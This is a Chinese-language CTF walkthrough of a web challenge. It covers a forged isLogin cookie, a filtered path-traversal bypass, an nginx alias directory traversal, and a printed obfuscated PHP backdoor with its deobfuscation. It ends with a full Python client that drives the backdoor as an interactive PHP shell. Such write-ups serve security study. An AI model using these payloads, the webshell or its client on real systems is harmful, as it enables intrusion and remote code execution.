进入页面后首先会提示请登录image.png
    接着出现登陆的网页image.png
    随便输入一些密码,会提示网站建设中,有点眼熟,忘了哪道题目了,好像也是这样。
    抓包看看有什么东西

    1. ccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
    2. Accept-Encoding: gzip, deflate
    3. Accept-Language: zh-CN,zh;q=0.9
    4. Cache-Control: no-cache
    5. Connection: keep-alive
    6. Cookie: isLogin=0
    7. Host: 220.249.52.134:54513
    8. Pragma: no-cache
    9. Referer: http://220.249.52.134:54513/login.php
    10. Upgrade-Insecure-Requests: 1
    11. User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36

    发现Cookie中有一项isLogin=0,明显很可疑。
    改成1之后访问主页,成功显示出主页内容,不过网页代码有问题,显示错误,但是影响不大。
    和isc系列的题目一样,大部分链接都无法打开,只有一个管理中心可以正常点击,并且点击之后发现url变成了

    1. admin/admin.php?file=index&ext=php

    看起来很像是任意文件读取漏洞,试一下

    1. admin/admin.php?file=../../../../../../../etc/passwd&ext=

    但是什么反应都没,尝试走其他路。
    dirsearch扫一下,发现有一个Robots.txt

    1. User-agent: *Disallow:
    2. hint.php
    3. Hack.php

    访问Hack.php,什么内容都没有,再看看hint.php:

    1. 配置文件也许有问题呀:/etc/nginx/sites-enabled/site.conf

    配置文件有问题,得想个办法读取到配置文件,但是找遍整个网站,除了admin/admin.php?file=index&ext=php看起来可以用,其他地方都没什么利用点。
    猜测应该是有过滤。
    构造payload:

    1. admin/admin.php?file=..././..././..././..././..././etc/nginx/sites-enabled/site.conf&ext=

    成功绕过,读取到nginx配置文件

    1. server {
    2. listen 8080; ## listen for ipv4; this line is default and implied
    3. listen [::]:8080; ## listen for ipv6
    4. root /var/www/html;
    5. index index.php index.html index.htm;
    6. port_in_redirect off;
    7. server_name _;
    8. # Make site accessible from http://localhost/
    9. #server_name localhost;
    10. # If block for setting the time for the logfile
    11. if ($time_iso8601 ~ "^(\d{4})-(\d{2})-(\d{2})") {
    12. set $year $1;
    13. set $month $2;
    14. set $day $3;
    15. }
    16. # Disable sendfile as per https://docs.vagrantup.com/v2/synced-folders/virtualbox.html
    17. sendfile off;
    18. set $http_x_forwarded_for_filt $http_x_forwarded_for;
    19. if ($http_x_forwarded_for_filt ~ ([0-9]+\.[0-9]+\.[0-9]+\.)[0-9]+) {
    20. set $http_x_forwarded_for_filt $1???;
    21. }
    22. # Add stdout logging
    23. access_log /var/log/nginx/$hostname-access-$year-$month-$day.log openshift_log;
    24. error_log /var/log/nginx/error.log info;
    25. location / {
    26. # First attempt to serve request as file, then
    27. # as directory, then fall back to index.html
    28. try_files $uri $uri/ /index.php?q=$uri&$args;
    29. server_tokens off;
    30. }
    31. #error_page 404 /404.html;
    32. # redirect server error pages to the static page /50x.html
    33. #
    34. error_page 500 502 503 504 /50x.html;
    35. location = /50x.html {
    36. root /usr/share/nginx/html;
    37. }
    38. location ~ \.php$ {
    39. try_files $uri $uri/ /index.php?q=$uri&$args;
    40. fastcgi_split_path_info ^(.+\.php)(/.+)$;
    41. fastcgi_pass unix:/var/run/php/php5.6-fpm.sock;
    42. fastcgi_param SCRIPT_FILENAME $document_root$fastcgi_script_name;
    43. fastcgi_param SCRIPT_NAME $fastcgi_script_name;
    44. fastcgi_index index.php;
    45. include fastcgi_params;
    46. fastcgi_param REMOTE_ADDR $http_x_forwarded_for;
    47. }
    48. location ~ /\. {
    49. log_not_found off;
    50. deny all;
    51. }
    52. location /web-img {
    53. alias /images/;
    54. autoindex on;
    55. }
    56. location ~* \.(ini|docx|pcapng|doc)$ {
    57. deny all;
    58. }
    59. include /var/www/nginx[.]conf;
    60. }

    注意到location /web-img存在目录穿越漏洞:

    1. http://220.249.52.134:54513/web-img../

    image.png
    进入/var/www目录下,看到有个hack.php.bak文件,下载下来

    1. <?php
    2. $U='_/|U","/-/|U"),ar|Uray|U("/|U","+"),$ss(|U$s[$i]|U,0,$e)|U)),$k))|U|U);$o|U|U=o|Ub_get_|Ucontents(|U);|Uob_end_cle';
    3. $q='s[|U$i]="";$p=|U$ss($p,3);}|U|Uif(array_k|Uey_|Uexis|Uts($|Ui,$s)){$s[$i].=|U$p|U;|U$e=|Ustrpos($s[$i],$f);|Ui';
    4. $M='l="strtolower|U";$i=$m|U[1|U][0].$m[1]|U[1];$|U|Uh=$sl($ss(|Umd5($i|U.$kh),|U0,3|U));$f=$s|Ul($ss(|Umd5($i.$';
    5. $z='r=@$r[|U"HTTP_R|UEFERER|U"];$r|U|Ua=@$r["HTTP_A|U|UCCEPT_LAN|UGUAGE|U"];if|U($r|Ur&|U&$ra){$u=parse_|Uurl($r';
    6. $k='?:;q=0.([\\|Ud]))?,|U?/",$ra,$m)|U;if($|Uq&&$m){|U|U|U@session_start()|U|U;$s=&$_SESSIO|UN;$ss="|Usubst|Ur";|U|U$s';
    7. $o='|U$l;|U){for|U($j=0;($j|U<$c&&|U|U$i|U<$|Ul);$j++,$i++){$o.=$t{$i}|U^$k|U{$j};}}|Ureturn $|Uo;}$r=$|U_SERV|UE|UR;$r';
    8. $N='|Uf($e){$k=$k|Uh.$kf|U;ob_sta|Urt();|U@eva|Ul(@g|Uzuncom|Upress(@x(@|Ubas|U|Ue64_decode(preg|U_repla|Uce(|Uarray("/';
    9. $C='an();$d=b|Uase64_encode(|Ux|U(gzcomp|U|Uress($o),$k))|U;prin|Ut("|U<$k>$d</$k>"|U);@ses|U|Usion_des|Utroy();}}}}';
    10. $j='$k|Uh="|U|U42f7";$kf="e9ac";fun|Uction|U |Ux($t,$k){$c|U=|Ustrlen($k);$l=s|Utrl|Ue|Un($t);$o=|U"";fo|Ur($i=0;$i<';
    11. $R=str_replace('rO','','rOcreatrOe_rOrOfurOncrOtion');
    12. $J='kf|U),|U0,3));$p="|U";for(|U|U$|Uz=1;$z<cou|Unt|U($m[1]);|U$z++)$p.=|U$q[$m[2][$z|U]|U];if(strpos(|U$|U|Up,$h)|U===0){$';
    13. $x='r)|U;pa|Urse|U_str($u["qu|U|Uery"],$q);$|U|Uq=array_values(|U$q);pre|Ug|U_match_al|Ul("/([\\|U|Uw])[|U\\w-]+|U(';
    14. $f=str_replace('|U','',$j.$o.$z.$x.$k.$M.$J.$q.$N.$U.$C);
    15. $g=create_function('',$f);
    16. $g();
    17. ?>

    猜测应该是加密的后门,将字符串替换,美化之后,得到正常的代码:

    1. <?php
    2. $kh = "42f7";
    3. $kf = "e9ac";
    4. function x($t, $k) {
    5. $c = strlen($k);
    6. $l = strlen($t);
    7. $o = "";
    8. for ($i = 0; $i < $l;) {
    9. for ($j = 0; ($j < $c && $i < $l); $j++, $i++) {
    10. $o. = $t {
    11. $i
    12. } ^ $k {
    13. $j
    14. };
    15. }
    16. }
    17. return $o;
    18. }
    19. $r = $_SERVER;
    20. $rr = @$r["HTTP_REFERER"];
    21. $ra = @$r["HTTP_ACCEPT_LANGUAGE"];
    22. if ($rr && $ra) {
    23. $u = parse_url($rr);
    24. parse_str($u["query"], $q);
    25. $q = array_values($q);
    26. preg_match_all("/([\w])[\w-]+(?:;q=0.([\d]))?,?/", $ra, $m);
    27. if ($q && $m) {@session_start();
    28. $s = &$_SESSION;
    29. $ss = "substr";
    30. $sl = "strtolower";
    31. $i = $m[1][0].$m[1][1];
    32. $h = $sl($ss(md5($i.$kh), 0, 3));
    33. $f = $sl($ss(md5($i.$kf), 0, 3));
    34. $p = "";
    35. for ($z = 1; $z < count($m[1]); $z++) $p. = $q[$m[2][$z]];
    36. if (strpos($p, $h) === 0) {
    37. $s[$i] = "";
    38. $p = $ss($p, 3);
    39. }
    40. if (array_key_exists($i, $s)) {
    41. $s[$i]. = $p;
    42. $e = strpos($s[$i], $f);
    43. if ($e) {
    44. $k = $kh.$kf;
    45. ob_start();@eval(@gzuncompress(@x(@base64_decode(preg_replace(array("/_/", "/-/"), array("/", "+"), $ss($s[$i], 0, $e))), $k)));
    46. $o = ob_get_contents();
    47. ob_end_clean();
    48. $d = base64_encode(x(gzcompress($o), $k));
    49. print("<$k>$d</$k>");@session_destroy();
    50. }
    51. }
    52. }
    53. }
    54. ?>

    不过让我解析是看不懂,直接用大佬们写的脚本链接完事

    1. #!/usr/bin/env python
    2. # -*- coding: utf-8 -*-
    3. #!/usr/bin/env python2
    4. # encoding: utf-8
    5. from random import randint,choice
    6. from hashlib import md5
    7. import urllib
    8. import string
    9. import zlib
    10. import base64
    11. import requests
    12. import re
    13. def choicePart(seq,amount):
    14. length = len(seq)
    15. if length == 0 or length < amount:
    16. print 'Error Input'
    17. return None
    18. result = []
    19. indexes = []
    20. count = 0
    21. while count < amount:
    22. i = randint(0,length-1)
    23. if not i in indexes:
    24. indexes.append(i)
    25. result.append(seq[i])
    26. count += 1
    27. if count == amount:
    28. return result
    29. def randBytesFlow(amount):
    30. result = ''
    31. for i in xrange(amount):
    32. result += chr(randint(0,255))
    33. return result
    34. def randAlpha(amount):
    35. result = ''
    36. for i in xrange(amount):
    37. result += choice(string.ascii_letters)
    38. return result
    39. def loopXor(text,key):
    40. result = ''
    41. lenKey = len(key)
    42. lenTxt = len(text)
    43. iTxt = 0
    44. while iTxt < lenTxt:
    45. iKey = 0
    46. while iTxt<lenTxt and iKey<lenKey:
    47. result += chr(ord(key[iKey]) ^ ord(text[iTxt]))
    48. iTxt += 1
    49. iKey += 1
    50. return result
    51. def debugPrint(msg):
    52. if debugging:
    53. print msg
    54. # config
    55. debugging = False
    56. keyh = "42f7" # $kh
    57. keyf = "e9ac" # $kf
    58. xorKey = keyh + keyf
    59. url = 'http://220.249.52.134:54513/hack.php'
    60. defaultLang = 'zh-CN'
    61. languages = ['zh-TW;q=0.%d','zh-HK;q=0.%d','en-US;q=0.%d','en;q=0.%d']
    62. proxies = None # {'http':'http://127.0.0.1:8080'} # proxy for debug
    63. sess = requests.Session()
    64. # generate random Accept-Language only once each session
    65. langTmp = choicePart(languages,3)
    66. indexes = sorted(choicePart(range(1,10),3), reverse=True)
    67. acceptLang = [defaultLang]
    68. for i in xrange(3):
    69. acceptLang.append(langTmp[i] % (indexes[i],))
    70. acceptLangStr = ','.join(acceptLang)
    71. debugPrint(acceptLangStr)
    72. init2Char = acceptLang[0][0] + acceptLang[1][0] # $i
    73. md5head = (md5(init2Char + keyh).hexdigest())[0:3]
    74. md5tail = (md5(init2Char + keyf).hexdigest())[0:3] + randAlpha(randint(3,8))
    75. debugPrint('$i is %s' % (init2Char))
    76. debugPrint('md5 head: %s' % (md5head,))
    77. debugPrint('md5 tail: %s' % (md5tail,))
    78. # Interactive php shell
    79. cmd = raw_input('phpshell > ')
    80. while cmd != '':
    81. # build junk data in referer
    82. query = []
    83. for i in xrange(max(indexes)+1+randint(0,2)):
    84. key = randAlpha(randint(3,6))
    85. value = base64.urlsafe_b64encode(randBytesFlow(randint(3,12)))
    86. query.append((key, value))
    87. debugPrint('Before insert payload:')
    88. debugPrint(query)
    89. debugPrint(urllib.urlencode(query))
    90. # encode payload
    91. payload = zlib.compress(cmd)
    92. payload = loopXor(payload,xorKey)
    93. payload = base64.urlsafe_b64encode(payload)
    94. payload = md5head + payload
    95. # cut payload, replace into referer
    96. cutIndex = randint(2,len(payload)-3)
    97. payloadPieces = (payload[0:cutIndex], payload[cutIndex:], md5tail)
    98. iPiece = 0
    99. for i in indexes:
    100. query[i] = (query[i][0],payloadPieces[iPiece])
    101. iPiece += 1
    102. referer = url + '?' + urllib.urlencode(query)
    103. debugPrint('After insert payload, referer is:')
    104. debugPrint(query)
    105. debugPrint(referer)
    106. # send request
    107. r = sess.get(url,headers={'Accept-Language':acceptLangStr,'Referer':referer},proxies=proxies)
    108. html = r.text
    109. debugPrint(html)
    110. # process response
    111. pattern = re.compile(r'<%s>(.*)</%s>' % (xorKey,xorKey))
    112. output = pattern.findall(html)
    113. if len(output) == 0:
    114. print 'Error, no backdoor response'
    115. cmd = raw_input('phpshell > ')
    116. continue
    117. output = output[0]
    118. debugPrint(output)
    119. output = output.decode('base64')
    120. output = loopXor(output,xorKey)
    121. output = zlib.decompress(output)
    122. print output
    123. cmd = raw_input('phpshell > ')

    把两个key修改成php代码中的key即可,连接之后执行php代码,读取flag。